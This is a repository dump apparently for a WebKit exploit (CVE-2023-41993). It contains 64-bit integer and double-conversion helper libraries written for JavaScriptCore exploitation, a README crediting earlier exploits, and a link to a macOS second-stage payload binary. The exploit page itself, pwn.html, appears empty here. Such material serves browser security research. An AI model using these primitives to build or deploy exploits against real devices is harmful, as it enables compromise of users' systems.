├── .gitignore ├── package.json ├── stage2_macOS.bin ├── README.md ├── util.js ├── int64.js └── pwn.html /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "http-serve": "^1.0.1" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /stage2_macOS.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hrtowii/cve-2023-41993-test/HEAD/stage2_macOS.bin -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # original poc from po6ix 2 | ## post exploitation i copied from nikiasb's and Linus Henze's regexp exploits, 5aelo's Phrack paper/Pwn2Own 2018 exploit chain, LiveOverflow blog/youtube series 3 | -------------------------------------------------------------------------------- /util.js: -------------------------------------------------------------------------------- 1 | // 2 | // Utility functions. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | 7 | function log(msg) { 8 | document.body.innerHTML += msg += "

"; 9 | } 10 | 11 | // Return the hexadecimal representation of the given byte. 12 | function hex(b) { 13 | return ('0' + b.toString(16)).substr(-2); 14 | } 15 | 16 | // Return the hexadecimal representation of the given byte array. 17 | function hexlify(bytes) { 18 | var res = []; 19 | for (var i = 0; i < bytes.length; i++) 20 | res.push(hex(bytes[i])); 21 | 22 | return res.join(''); 23 | } 24 | 25 | // Return the binary data represented by the given hexdecimal string. 26 | function unhexlify(hexstr) { 27 | if (hexstr.length % 2 == 1) 28 | throw new TypeError("Invalid hex string"); 29 | 30 | var bytes = new Uint8Array(hexstr.length / 2); 31 | for (var i = 0; i < hexstr.length; i += 2) 32 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 33 | 34 | return bytes; 35 | } 36 | 37 | function hexdump(data) { 38 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 39 | data = Array.from(data); 40 | 41 | var lines = []; 42 | for (var i = 0; i < data.length; i += 16) { 43 | var chunk = data.slice(i, i+16); 44 | var parts = chunk.map(hex); 45 | if (parts.length > 8) 46 | parts.splice(8, 0, ' '); 47 | lines.push(parts.join(' ')); 48 | } 49 | 50 | return lines.join('\n'); 51 | } 52 | 53 | // Simplified version of the similarly named python module. 54 | var Struct = (function() { 55 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 56 | var buffer = new ArrayBuffer(8); 57 | var byteView = new Uint8Array(buffer); 58 | var uint32View = new Uint32Array(buffer); 59 | var float64View = new Float64Array(buffer); 60 | 61 | return { 62 | pack: function(type, value) { 63 | var view = type; // See below 64 | view[0] = value; 65 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 66 | }, 67 | 68 | unpack: function(type, bytes) { 69 | if (bytes.length !== type.BYTES_PER_ELEMENT) 70 | throw Error("Invalid bytearray"); 71 | 72 | var view = type; // See below 73 | byteView.set(bytes); 74 | return view[0]; 75 | }, 76 | 77 | // Available types. 78 | int8: byteView, 79 | int32: uint32View, 80 | float64: float64View 81 | }; 82 | })(); -------------------------------------------------------------------------------- /int64.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | function Int64(v) { 13 | // The underlying byte array. 14 | var bytes = new Uint8Array(8); 15 | 16 | switch (typeof v) { 17 | case 'number': 18 | v = '0x' + Math.floor(v).toString(16); 19 | case 'string': 20 | if (v.startsWith('0x')) 21 | v = v.substr(2); 22 | if (v.length % 2 == 1) 23 | v = '0' + v; 24 | 25 | var bigEndian = unhexlify(v, 8); 26 | bytes.set(Array.from(bigEndian).reverse()); 27 | break; 28 | case 'object': 29 | if (v instanceof Int64) { 30 | bytes.set(v.bytes()); 31 | } else { 32 | if (v.length != 8) 33 | throw TypeError("Array must have excactly 8 elements."); 34 | bytes.set(v); 35 | } 36 | break; 37 | case 'undefined': 38 | break; 39 | default: 40 | throw TypeError("Int64 constructor requires an argument."); 41 | } 42 | 43 | // Return a double whith the same underlying bit representation. 44 | this.asDouble = function() { 45 | // Check for NaN 46 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) { 47 | log("Int can't be represented by a double"); 48 | throw new RangeError("Integer can not be represented by a double"); 49 | } 50 | return Struct.unpack(Struct.float64, bytes); 51 | }; 52 | 53 | // Return a javascript value with the same underlying bit representation. 54 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 55 | // due to double conversion constraints. 56 | this.asJSValue = function() { 57 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) { 58 | throw new RangeError("Integer can not be represented by a JSValue"); 59 | } 60 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 61 | this.assignSub(this, 0x1000000000000); 62 | var res = Struct.unpack(Struct.float64, bytes); 63 | this.assignAdd(this, 0x1000000000000); 64 | 65 | return res; 66 | }; 67 | 68 | // Return the underlying bytes of this number as array. 69 | this.bytes = function() { 70 | return Array.from(bytes); 71 | }; 72 | 73 | // Return the byte at the given index. 74 | this.byteAt = function(i) { 75 | return bytes[i]; 76 | }; 77 | 78 | // Return the value of this number as unsigned hex string. 79 | this.toString = function() { 80 | return '0x' + hexlify(Array.from(bytes).reverse()); 81 | }; 82 | 83 | // Basic arithmetic. 84 | // These functions assign the result of the computation to their 'this' object. 85 | 86 | // Decorator for Int64 instance operations. Takes care 87 | // of converting arguments to Int64 instances if required. 88 | function operation(f, nargs) { 89 | return function() { 90 | if (arguments.length != nargs) 91 | throw Error("Not enough arguments for function " + f.name); 92 | for (var i = 0; i < arguments.length; i++) 93 | if (!(arguments[i] instanceof Int64)) 94 | arguments[i] = new Int64(arguments[i]); 95 | return f.apply(this, arguments); 96 | }; 97 | } 98 | 99 | // this = -n (two's complement) 100 | this.assignNeg = operation(function neg(n) { 101 | for (var i = 0; i < 8; i++) 102 | bytes[i] = ~n.byteAt(i); 103 | 104 | return this.assignAdd(this, Int64.One); 105 | }, 1); 106 | 107 | // this = a + b 108 | this.assignAdd = operation(function add(a, b) { 109 | var carry = 0; 110 | for (var i = 0; i < 8; i++) { 111 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 112 | carry = cur > 0xff | 0; 113 | bytes[i] = cur; 114 | } 115 | return this; 116 | }, 2); 117 | 118 | // this = a - b 119 | this.assignSub = operation(function sub(a, b) { 120 | var carry = 0; 121 | for (var i = 0; i < 8; i++) { 122 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 123 | carry = cur < 0 | 0; 124 | bytes[i] = cur; 125 | } 126 | return this; 127 | }, 2); 128 | 129 | // this = a ^ b 130 | this.assignXor = operation(function xor(a, b) { 131 | for (var i = 0; i < 8; i++) { 132 | bytes[i] = a.byteAt(i) ^ b.byteAt(i); 133 | } 134 | return this; 135 | }, 2); 136 | 137 | // this = a & b 138 | this.assignAnd = operation(function and(a, b) { 139 | for (var i = 0; i < 8; i++) { 140 | bytes[i] = a.byteAt(i) & b.byteAt(i); 141 | } 142 | return this; 143 | }, 2); 144 | 145 | // this = a << b 146 | this.assignShiftLeft = operation(function shiftLeft(a, b) { 147 | for (var i = 0; i < 8; i++) { 148 | if (i < b) { 149 | bytes[i] = 0; 150 | } else { 151 | bytes[i] = a.byteAt(Sub(i, b).asInt32()); 152 | } 153 | } 154 | return this; 155 | }, 2); 156 | 157 | // this = a >> b 158 | this.assignShiftRight = operation(function shiftRight(a, b) { 159 | for (var i = 0; i < 8; i++) { 160 | if (i < (8 - b)) { 161 | bytes[i] = a.byteAt(Add(i, b).asInt32()); 162 | } else { 163 | bytes[i] = 0; 164 | } 165 | } 166 | return this; 167 | }, 2); 168 | } 169 | 170 | // Constructs a new Int64 instance with the same bit representation as the provided double. 171 | Int64.fromDouble = function(d) { 172 | var bytes = Struct.pack(Struct.float64, d); 173 | return new Int64(bytes); 174 | }; 175 | 176 | // Convenience functions. These allocate a new Int64 to hold the result. 177 | 178 | // Return -n (two's complement) 179 | function Neg(n) { 180 | return (new Int64()).assignNeg(n); 181 | } 182 | 183 | // Return a + b 184 | function Add(a, b) { 185 | return (new Int64()).assignAdd(a, b); 186 | } 187 | 188 | // Return a - b 189 | function Sub(a, b) { 190 | return (new Int64()).assignSub(a, b); 191 | } 192 | 193 | // Return a ^ b 194 | function Xor(a, b) { 195 | return (new Int64()).assignXor(a, b); 196 | } 197 | 198 | // Return a & b 199 | function And(a, b) { 200 | return (new Int64()).assignAnd(a, b); 201 | } 202 | 203 | // Return a << b 204 | function ShiftLeft(a, b) { 205 | return (new Int64()).assignShiftLeft(a, b); 206 | } 207 | 208 | // Return a >> b 209 | function ShiftRight(a, b) { 210 | return (new Int64()).assignShiftRight(a, b); 211 | } 212 | 213 | // Some commonly used numbers. 214 | Int64.Zero = new Int64(0); 215 | Int64.One = new Int64(1); 216 | 217 | // That's all the arithmetic we need for exploiting WebKit.. :) -------------------------------------------------------------------------------- /pwn.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | 13 | 14 | 386 | 387 | 388 | 389 | --------------------------------------------------------------------------------